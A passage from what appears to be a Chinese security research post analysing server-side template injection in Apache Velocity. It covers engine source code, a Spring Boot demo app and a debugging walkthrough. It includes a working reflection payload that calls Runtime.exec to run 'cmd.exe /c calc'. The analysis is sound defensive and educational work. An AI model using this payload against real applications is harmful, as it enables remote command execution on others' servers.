<div class=highlight><pre><span></span><span class=n>public</span> <span class=n>Object</span> <span class=nf>execute</span><span class=p>(</span><span class=n>Object</span> <span class=n>o</span><span class=p>,</span> <span class=n>InternalContextAdapter</span> <span class=n>context</span><span class=p>)</span> <span class=n>throws</span> <span class=n>MethodInvocationException</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>referenceType</span> <span class=o>==</span> <span class=mi>4</span><span class=p>)</span> <span class=p>{</span>
<span class=k>return</span> <span class=n>null</span><span class=p>;</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>Object</span> <span class=n>result</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>getVariableValue</span><span class=p>(</span><span class=n>context</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>);</span>
<span class=k>if</span> <span class=p>(</span><span class=n>result</span> <span class=o>==</span> <span class=n>null</span> <span class=o>&amp;&amp;</span> <span class=o>!</span><span class=n>this</span><span class=p>.</span><span class=n>strictRef</span><span class=p>)</span> <span class=p>{</span>
<span class=k>return</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidGetMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>getDollarBang</span><span class=p>()</span> <span class=o>+</span> <span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>,</span> <span class=p>(</span><span class=n>Object</span><span class=p>)</span><span class=n>null</span><span class=p>,</span> <span class=p>(</span><span class=n>String</span><span class=p>)</span><span class=n>null</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>try</span> <span class=p>{</span>
<span class=n>Object</span> <span class=n>previousResult</span> <span class=o>=</span> <span class=n>result</span><span class=p>;</span>
<span class=kt>int</span> <span class=n>failedChild</span> <span class=o>=</span> <span class=o>-</span><span class=mi>1</span><span class=p>;</span>
<span class=n>String</span> <span class=n>methodName</span><span class=p>;</span>
<span class=k>for</span><span class=p>(</span><span class=kt>int</span> <span class=n>i</span> <span class=o>=</span> <span class=mi>0</span><span class=p>;</span> <span class=n>i</span> <span class=o>&lt;</span> <span class=n>this</span><span class=p>.</span><span class=n>numChildren</span><span class=p>;</span> <span class=o>++</span><span class=n>i</span><span class=p>)</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>strictRef</span> <span class=o>&amp;&amp;</span> <span class=n>result</span> <span class=o>==</span> <span class=n>null</span><span class=p>)</span> <span class=p>{</span>
<span class=n>methodName</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>getFirstToken</span><span class=p>().</span><span class=n>image</span><span class=p>;</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>VelocityException</span><span class=p>(</span><span class=s>"Attempted to access '"</span> <span class=o>+</span> <span class=n>methodName</span> <span class=o>+</span> <span class=s>"' on a null value at "</span> <span class=o>+</span> <span class=n>Log</span><span class=p>.</span><span class=n>formatFileString</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>.</span><span class=n>getTemplateName</span><span class=p>(),</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>getLine</span><span class=p>(),</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>getColumn</span><span class=p>()));</span>
<span class=p>}</span>
<span class=n>previousResult</span> <span class=o>=</span> <span class=n>result</span><span class=p>;</span>
<span class=n>result</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>execute</span><span class=p>(</span><span class=n>result</span><span class=p>,</span> <span class=n>context</span><span class=p>);</span>
<span class=k>if</span> <span class=p>(</span><span class=n>result</span> <span class=o>==</span> <span class=n>null</span> <span class=o>&amp;&amp;</span> <span class=o>!</span><span class=n>this</span><span class=p>.</span><span class=n>strictRef</span><span class=p>)</span> <span class=p>{</span>
<span class=n>failedChild</span> <span class=o>=</span> <span class=n>i</span><span class=p>;</span>
<span class=k>break</span><span class=p>;</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=k>if</span> <span class=p>(</span><span class=n>result</span> <span class=o>==</span> <span class=n>null</span><span class=p>)</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=n>failedChild</span> <span class=o>==</span> <span class=o>-</span><span class=mi>1</span><span class=p>)</span> <span class=p>{</span>
<span class=n>result</span> <span class=o>=</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidGetMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>getDollarBang</span><span class=p>()</span> <span class=o>+</span> <span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>,</span> <span class=n>previousResult</span><span class=p>,</span> <span class=p>(</span><span class=n>String</span><span class=p>)</span><span class=n>null</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>StringBuffer</span> <span class=n>name</span> <span class=o>=</span> <span class=p>(</span><span class=n>new</span> <span class=n>StringBuffer</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>getDollarBang</span><span class=p>())).</span><span class=n>append</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>);</span>
<span class=k>for</span><span class=p>(</span><span class=kt>int</span> <span class=n>i</span> <span class=o>=</span> <span class=mi>0</span><span class=p>;</span> <span class=n>i</span> <span class=o>&lt;=</span> <span class=n>failedChild</span><span class=p>;</span> <span class=o>++</span><span class=n>i</span><span class=p>)</span> <span class=p>{</span>
<span class=n>Node</span> <span class=n>node</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>);</span>
<span class=k>if</span> <span class=p>(</span><span class=n>node</span> <span class=n>instanceof</span> <span class=n>ASTMethod</span><span class=p>)</span> <span class=p>{</span>
<span class=n>name</span><span class=p>.</span><span class=n>append</span><span class=p>(</span><span class=s>"."</span><span class=p>).</span><span class=n>append</span><span class=p>(((</span><span class=n>ASTMethod</span><span class=p>)</span><span class=n>node</span><span class=p>).</span><span class=n>getMethodName</span><span class=p>()).</span><span class=n>append</span><span class=p>(</span><span class=s>"()"</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>name</span><span class=p>.</span><span class=n>append</span><span class=p>(</span><span class=s>"."</span><span class=p>).</span><span class=n>append</span><span class=p>(</span><span class=n>node</span><span class=p>.</span><span class=n>getFirstToken</span><span class=p>().</span><span class=n>image</span><span class=p>);</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>failedChild</span><span class=p>)</span> <span class=n>instanceof</span> <span class=n>ASTMethod</span><span class=p>)</span> <span class=p>{</span>
<span class=n>methodName</span> <span class=o>=</span> <span class=p>((</span><span class=n>ASTMethod</span><span class=p>)</span><span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>failedChild</span><span class=p>)).</span><span class=n>getMethodName</span><span class=p>();</span>
<span class=n>result</span> <span class=o>=</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>name</span><span class=p>.</span><span class=n>toString</span><span class=p>(),</span> <span class=n>previousResult</span><span class=p>,</span> <span class=n>methodName</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>methodName</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>failedChild</span><span class=p>).</span><span class=n>getFirstToken</span><span class=p>().</span><span class=n>image</span><span class=p>;</span>
<span class=n>result</span> <span class=o>=</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidGetMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>name</span><span class=p>.</span><span class=n>toString</span><span class=p>(),</span> <span class=n>previousResult</span><span class=p>,</span> <span class=n>methodName</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=k>return</span> <span class=n>result</span><span class=p>;</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>MethodInvocationException</span> <span class=n>var9</span><span class=p>)</span> <span class=p>{</span>
<span class=n>var9</span><span class=p>.</span><span class=n>setReferenceName</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>);</span>
<span class=n>throw</span> <span class=n>var9</span><span class=p>;</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
</pre></div>
<p>通过反射获取执行的类</p>
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101548-47df99ae-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101548-47df99ae-5f63-1.png></a></p>
<p>最终递归解析到"cmd.exe /c calc"</p>
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101602-501a5a28-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101602-501a5a28-5f63-1.png></a></p>
<p>最后完成解析执行:</p>
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821101618-59974cf0-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821101618-59974cf0-5f63-1.png></a></p>
<h4>template.merge(ctx, out)</h4>
<h5>方法介绍</h5>
<p>在Java的Velocity模板引擎中template.merge(ctx, out)是一个关键的方法,它主要用于将模板与给定的上下文数据合并,同时将结果输出到指定的目标,方法格式如下所示:</p>
<div class=highlight><pre><span></span><span class=kt>void</span> <span class=n>merge</span><span class=p>(</span><span class=n>Context</span> <span class=n>context</span><span class=p>,</span> <span class=n>Writer</span> <span class=n>writer</span><span class=p>)</span>
</pre></div>
<p>参数说明:</p>
<ul>
<li>Context context包含动态数据的上下文对象通常是VelocityContext的实例使用上下文可以为模板提供变量和数据使得模板能够在渲染时采用这些值</li>
<li>Writer writer Writer类型的对象指定了合并后内容的输出目标常见的实现包括 StringWriter, PrintWriter 等,可以将生成的内容写入字符串、文件或其他输出流</li>
</ul>
<h5>示例代码</h5>
<p>Step 1添加依赖<br>
在pom.xml中添加以下依赖</p>
<div class=highlight><pre><span></span><span class=o>&lt;!--</span> <span class=nl>https</span><span class=p>:</span><span class=c1>//mvnrepository.com/artifact/org.apache.velocity/velocity --&gt;</span>
<span class=o>&lt;</span><span class=n>dependency</span><span class=o>&gt;</span>
<span class=o>&lt;</span><span class=n>groupId</span><span class=o>&gt;</span><span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=o>&lt;/</span><span class=n>groupId</span><span class=o>&gt;</span>
<span class=o>&lt;</span><span class=n>artifactId</span><span class=o>&gt;</span><span class=n>velocity</span><span class=o>&lt;/</span><span class=n>artifactId</span><span class=o>&gt;</span>
<span class=o>&lt;</span><span class=n>version</span><span class=o>&gt;</span><span class=mf>1.7</span><span class=o>&lt;/</span><span class=n>version</span><span class=o>&gt;</span>
<span class=o>&lt;/</span><span class=n>dependency</span><span class=o>&gt;</span>
</pre></div>
<p>Step 2创建模板文件<br>
在项目的src/main/resources/templates目录下创建一个名为template.vm的文件内容如下</p>
<div class=highlight><pre><span></span><span class=n>Hello</span><span class=p>,</span> <span class=err>$</span><span class=n>name</span><span class=o>!</span>
<span class=cp>#set($totalPrice = $price * $quantity)</span>
<span class=n>The</span> <span class=n>total</span> <span class=n>cost</span> <span class=k>for</span> <span class=err>$</span><span class=n>quantity</span> <span class=n>items</span> <span class=n>at</span> <span class=err>$</span><span class=n>price</span> <span class=n>each</span> <span class=nl>is</span><span class=p>:</span> <span class=err>$</span><span class=n>totalPrice</span><span class=p>.</span>
<span class=cp>#foreach($item in $items)</span>
<span class=o>-</span> <span class=nl>Item</span><span class=p>:</span> <span class=err>$</span><span class=n>item</span>
<span class=cp>#end</span>
</pre></div>
<p>Step 3创建Controller类<br>
接下来我们创建一个控制器类用于处理请求并返回渲染后的模板</p>
<div class=highlight><pre><span></span><span class=n>package</span> <span class=n>com</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>velocitytest</span><span class=p>.</span><span class=n>controller</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>Template</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>app</span><span class=p>.</span><span class=n>VelocityEngine</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>context</span><span class=p>.</span><span class=n>Context</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>VelocityContext</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>springframework</span><span class=p>.</span><span class=n>beans</span><span class=p>.</span><span class=n>factory</span><span class=p>.</span><span class=n>annotation</span><span class=p>.</span><span class=n>Autowired</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>springframework</span><span class=p>.</span><span class=n>web</span><span class=p>.</span><span class=n>bind</span><span class=p>.</span><span class=n>annotation</span><span class=p>.</span><span class=n>GetMapping</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>springframework</span><span class=p>.</span><span class=n>web</span><span class=p>.</span><span class=n>bind</span><span class=p>.</span><span class=n>annotation</span><span class=p>.</span><span class=n>RequestParam</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>springframework</span><span class=p>.</span><span class=n>web</span><span class=p>.</span><span class=n>bind</span><span class=p>.</span><span class=n>annotation</span><span class=p>.</span><span class=n>RestController</span><span class=p>;</span>
<span class=n>import</span> <span class=n>java</span><span class=p>.</span><span class=n>io</span><span class=p>.</span><span class=n>StringWriter</span><span class=p>;</span>
<span class=n>import</span> <span class=n>java</span><span class=p>.</span><span class=n>util</span><span class=p>.</span><span class=n>Arrays</span><span class=p>;</span>
<span class=err>@</span><span class=n>RestController</span>
<span class=n>public</span> <span class=n>class</span> <span class=n>VelocityController</span> <span class=p>{</span>
<span class=n>private</span> <span class=n>final</span> <span class=n>VelocityEngine</span> <span class=n>velocityEngine</span><span class=p>;</span>
<span class=err>@</span><span class=n>Autowired</span>
<span class=n>public</span> <span class=n>VelocityController</span><span class=p>(</span><span class=n>VelocityEngine</span> <span class=n>velocityEngine</span><span class=p>)</span> <span class=p>{</span> <span class=c1>//通过构造函数注入方式获得Velocity引擎实例</span>
<span class=n>this</span><span class=p>.</span><span class=n>velocityEngine</span> <span class=o>=</span> <span class=n>velocityEngine</span><span class=p>;</span>
<span class=p>}</span>
<span class=err>@</span><span class=n>GetMapping</span><span class=p>(</span><span class=s>"/generate"</span><span class=p>)</span>
<span class=n>public</span> <span class=n>String</span> <span class=n>generate</span><span class=p>(</span><span class=err>@</span><span class=n>RequestParam</span> <span class=n>String</span> <span class=n>name</span><span class=p>,</span>
<span class=err>@</span><span class=n>RequestParam</span> <span class=kt>double</span> <span class=n>price</span><span class=p>,</span>
<span class=err>@</span><span class=n>RequestParam</span> <span class=kt>int</span> <span class=n>quantity</span><span class=p>)</span> <span class=p>{</span>
<span class=c1>// Step 1: 加载模板</span>
<span class=n>Template</span> <span class=n>template</span> <span class=o>=</span> <span class=n>velocityEngine</span><span class=p>.</span><span class=n>getTemplate</span><span class=p>(</span><span class=s>"template.vm"</span><span class=p>);</span>
<span class=c1>// Step 2: 创建上下文并填充数据</span>
<span class=n>Context</span> <span class=n>context</span> <span class=o>=</span> <span class=n>new</span> <span class=n>VelocityContext</span><span class=p>();</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"name"</span><span class=p>,</span> <span class=n>name</span><span class=p>);</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"price"</span><span class=p>,</span> <span class=n>price</span><span class=p>);</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"quantity"</span><span class=p>,</span> <span class=n>quantity</span><span class=p>);</span>
<span class=n>context</span><span class=p>.</span><span class=n>put</span><span class=p>(</span><span class=s>"items"</span><span class=p>,</span> <span class=n>Arrays</span><span class=p>.</span><span class=n>asList</span><span class=p>(</span><span class=s>"Apple"</span><span class=p>,</span> <span class=s>"Banana"</span><span class=p>,</span> <span class=s>"Cherry"</span><span class=p>));</span>
<span class=c1>// Step 3: 合并模板和上下文</span>
<span class=n>StringWriter</span> <span class=n>writer</span> <span class=o>=</span> <span class=n>new</span> <span class=n>StringWriter</span><span class=p>();</span>
<span class=n>template</span><span class=p>.</span><span class=n>merge</span><span class=p>(</span><span class=n>context</span><span class=p>,</span> <span class=n>writer</span><span class=p>);</span>
<span class=c1>// 返回结果</span>
<span class=k>return</span> <span class=n>writer</span><span class=p>.</span><span class=n>toString</span><span class=p>();</span>
<span class=p>}</span>
<span class=p>}</span>
</pre></div>
<p>Step 4配置Velocity<br>
为了使Velocity引擎可以工作我们需要在Spring Boot应用程序中进行一些配置创建一个配置类如下所示</p>
<div class=highlight><pre><span></span><span class=n>package</span> <span class=n>com</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>velocitytest</span><span class=p>.</span><span class=n>config</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>apache</span><span class=p>.</span><span class=n>velocity</span><span class=p>.</span><span class=n>app</span><span class=p>.</span><span class=n>VelocityEngine</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>springframework</span><span class=p>.</span><span class=n>context</span><span class=p>.</span><span class=n>annotation</span><span class=p>.</span><span class=n>Bean</span><span class=p>;</span>
<span class=n>import</span> <span class=n>org</span><span class=p>.</span><span class=n>springframework</span><span class=p>.</span><span class=n>context</span><span class=p>.</span><span class=n>annotation</span><span class=p>.</span><span class=n>Configuration</span><span class=p>;</span>
<span class=n>import</span> <span class=n>java</span><span class=p>.</span><span class=n>util</span><span class=p>.</span><span class=n>Properties</span><span class=p>;</span>
<span class=err>@</span><span class=n>Configuration</span>
<span class=n>public</span> <span class=n>class</span> <span class=n>VelocityConfig</span> <span class=p>{</span>
<span class=err>@</span><span class=n>Bean</span>
<span class=n>public</span> <span class=n>VelocityEngine</span> <span class=n>velocityEngine</span><span class=p>()</span> <span class=p>{</span>
<span class=n>Properties</span> <span class=n>props</span> <span class=o>=</span> <span class=n>new</span> <span class=n>Properties</span><span class=p>();</span>
<span class=n>props</span><span class=p>.</span><span class=n>setProperty</span><span class=p>(</span><span class=s>"resource.loader"</span><span class=p>,</span> <span class=s>"file"</span><span class=p>);</span>
<span class=n>props</span><span class=p>.</span><span class=n>setProperty</span><span class=p>(</span><span class=s>"file.resource.loader.path"</span><span class=p>,</span> <span class=s>"src/main/resources/templates"</span><span class=p>);</span> <span class=c1>// 模板路径</span>
<span class=n>VelocityEngine</span> <span class=n>velocityEngine</span> <span class=o>=</span> <span class=n>new</span> <span class=n>VelocityEngine</span><span class=p>(</span><span class=n>props</span><span class=p>);</span>
<span class=n>velocityEngine</span><span class=p>.</span><span class=n>init</span><span class=p>();</span>
<span class=k>return</span> <span class=n>velocityEngine</span><span class=p>;</span>
<span class=p>}</span>
<span class=p>}</span>
</pre></div>
<p>Step 5运行项目并进行访问</p>
<div class=highlight><pre><span></span><span class=nl>http</span><span class=p>:</span><span class=c1>//localhost:8080/generate?name=Alice&amp;price=10.99&amp;quantity=3</span>
</pre></div>
<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102003-dfc60596-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102003-dfc60596-5f63-1.png></a></p>
<p>通过上面的菲尼我们可以构造如下payload</p>
<div class=highlight><pre><span></span><span class=n>username</span><span class=o>=</span><span class=err>#</span><span class=n>set</span><span class=p>(</span><span class=err>$</span><span class=n>e</span><span class=o>=</span><span class=s>"e"</span><span class=p>)</span><span class=err>$</span><span class=n>e</span><span class=p>.</span><span class=n>getClass</span><span class=p>().</span><span class=n>forName</span><span class=p>(</span><span class=s>"java.lang.Runtime"</span><span class=p>).</span><span class=n>getMethod</span><span class=p>(</span><span class=s>"getRuntime"</span><span class=p>,</span><span class=n>null</span><span class=p>).</span><span class=n>invoke</span><span class=p>(</span><span class=n>null</span><span class=p>,</span><span class=n>null</span><span class=p>).</span><span class=n>exec</span><span class=p>(</span><span class=s>"cmd.exe /c calc"</span><span class=p>)</span>
</pre></div>
<p><a id=img17 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102027-ee2e30e0-5f63-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102027-ee2e30e0-5f63-1.png></a></p>
<h5>调试分析</h5>
<p>下面我们简易分析一下如何通过控制模板文件造成命令执行的过程首先我们在template.merge处下断点</p>
<p><a id=img18 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102135-16ed61a4-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102135-16ed61a4-5f64-1.png></a></p>
<p>随后在merge中调用当前类的merge</p>
<p><a id=img19 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102149-1f12d72e-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102149-1f12d72e-5f64-1.png></a></p>
<p>随后调用render方法进行渲染</p>
<p><a id=img20 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102203-27a7da1a-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102203-27a7da1a-5f64-1.png></a><br>
随后通过render将模板的内容渲染到指定的Writer中jjtGetNumChildren()用于获取子节点数量this.jjtGetChild(i)获取第i个子节点对每个子节点调用其render方法将上下文和写入器作为参数传递</p>
<p><a id=img21 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102216-2f4db8b6-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102216-2f4db8b6-5f64-1.png></a></p>
<p>render的具体实现如下所示在这里会调用execute方法来进行具体的解析操作</p>
<p><a id=img22 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102230-3754ccde-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102230-3754ccde-5f64-1.png></a></p>
<p>execute的执行代码如下所示</p>
<p><a id=img23 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102243-3f19e6b6-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102243-3f19e6b6-5f64-1.png></a></p>
<div class=highlight><pre><span></span><span class=n>public</span> <span class=n>Object</span> <span class=nf>execute</span><span class=p>(</span><span class=n>Object</span> <span class=n>o</span><span class=p>,</span> <span class=n>InternalContextAdapter</span> <span class=n>context</span><span class=p>)</span> <span class=n>throws</span> <span class=n>MethodInvocationException</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>referenceType</span> <span class=o>==</span> <span class=mi>4</span><span class=p>)</span> <span class=p>{</span>
<span class=k>return</span> <span class=n>null</span><span class=p>;</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>Object</span> <span class=n>result</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>getVariableValue</span><span class=p>(</span><span class=n>context</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>);</span>
<span class=k>if</span> <span class=p>(</span><span class=n>result</span> <span class=o>==</span> <span class=n>null</span> <span class=o>&amp;&amp;</span> <span class=o>!</span><span class=n>this</span><span class=p>.</span><span class=n>strictRef</span><span class=p>)</span> <span class=p>{</span>
<span class=k>return</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidGetMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>getDollarBang</span><span class=p>()</span> <span class=o>+</span> <span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>,</span> <span class=p>(</span><span class=n>Object</span><span class=p>)</span><span class=n>null</span><span class=p>,</span> <span class=p>(</span><span class=n>String</span><span class=p>)</span><span class=n>null</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>try</span> <span class=p>{</span>
<span class=n>Object</span> <span class=n>previousResult</span> <span class=o>=</span> <span class=n>result</span><span class=p>;</span>
<span class=kt>int</span> <span class=n>failedChild</span> <span class=o>=</span> <span class=o>-</span><span class=mi>1</span><span class=p>;</span>
<span class=n>String</span> <span class=n>methodName</span><span class=p>;</span>
<span class=k>for</span><span class=p>(</span><span class=kt>int</span> <span class=n>i</span> <span class=o>=</span> <span class=mi>0</span><span class=p>;</span> <span class=n>i</span> <span class=o>&lt;</span> <span class=n>this</span><span class=p>.</span><span class=n>numChildren</span><span class=p>;</span> <span class=o>++</span><span class=n>i</span><span class=p>)</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>strictRef</span> <span class=o>&amp;&amp;</span> <span class=n>result</span> <span class=o>==</span> <span class=n>null</span><span class=p>)</span> <span class=p>{</span>
<span class=n>methodName</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>getFirstToken</span><span class=p>().</span><span class=n>image</span><span class=p>;</span>
<span class=n>throw</span> <span class=n>new</span> <span class=n>VelocityException</span><span class=p>(</span><span class=s>"Attempted to access '"</span> <span class=o>+</span> <span class=n>methodName</span> <span class=o>+</span> <span class=s>"' on a null value at "</span> <span class=o>+</span> <span class=n>Log</span><span class=p>.</span><span class=n>formatFileString</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>.</span><span class=n>getTemplateName</span><span class=p>(),</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>getLine</span><span class=p>(),</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>getColumn</span><span class=p>()));</span>
<span class=p>}</span>
<span class=n>previousResult</span> <span class=o>=</span> <span class=n>result</span><span class=p>;</span>
<span class=n>result</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>).</span><span class=n>execute</span><span class=p>(</span><span class=n>result</span><span class=p>,</span> <span class=n>context</span><span class=p>);</span>
<span class=k>if</span> <span class=p>(</span><span class=n>result</span> <span class=o>==</span> <span class=n>null</span> <span class=o>&amp;&amp;</span> <span class=o>!</span><span class=n>this</span><span class=p>.</span><span class=n>strictRef</span><span class=p>)</span> <span class=p>{</span>
<span class=n>failedChild</span> <span class=o>=</span> <span class=n>i</span><span class=p>;</span>
<span class=k>break</span><span class=p>;</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=k>if</span> <span class=p>(</span><span class=n>result</span> <span class=o>==</span> <span class=n>null</span><span class=p>)</span> <span class=p>{</span>
<span class=k>if</span> <span class=p>(</span><span class=n>failedChild</span> <span class=o>==</span> <span class=o>-</span><span class=mi>1</span><span class=p>)</span> <span class=p>{</span>
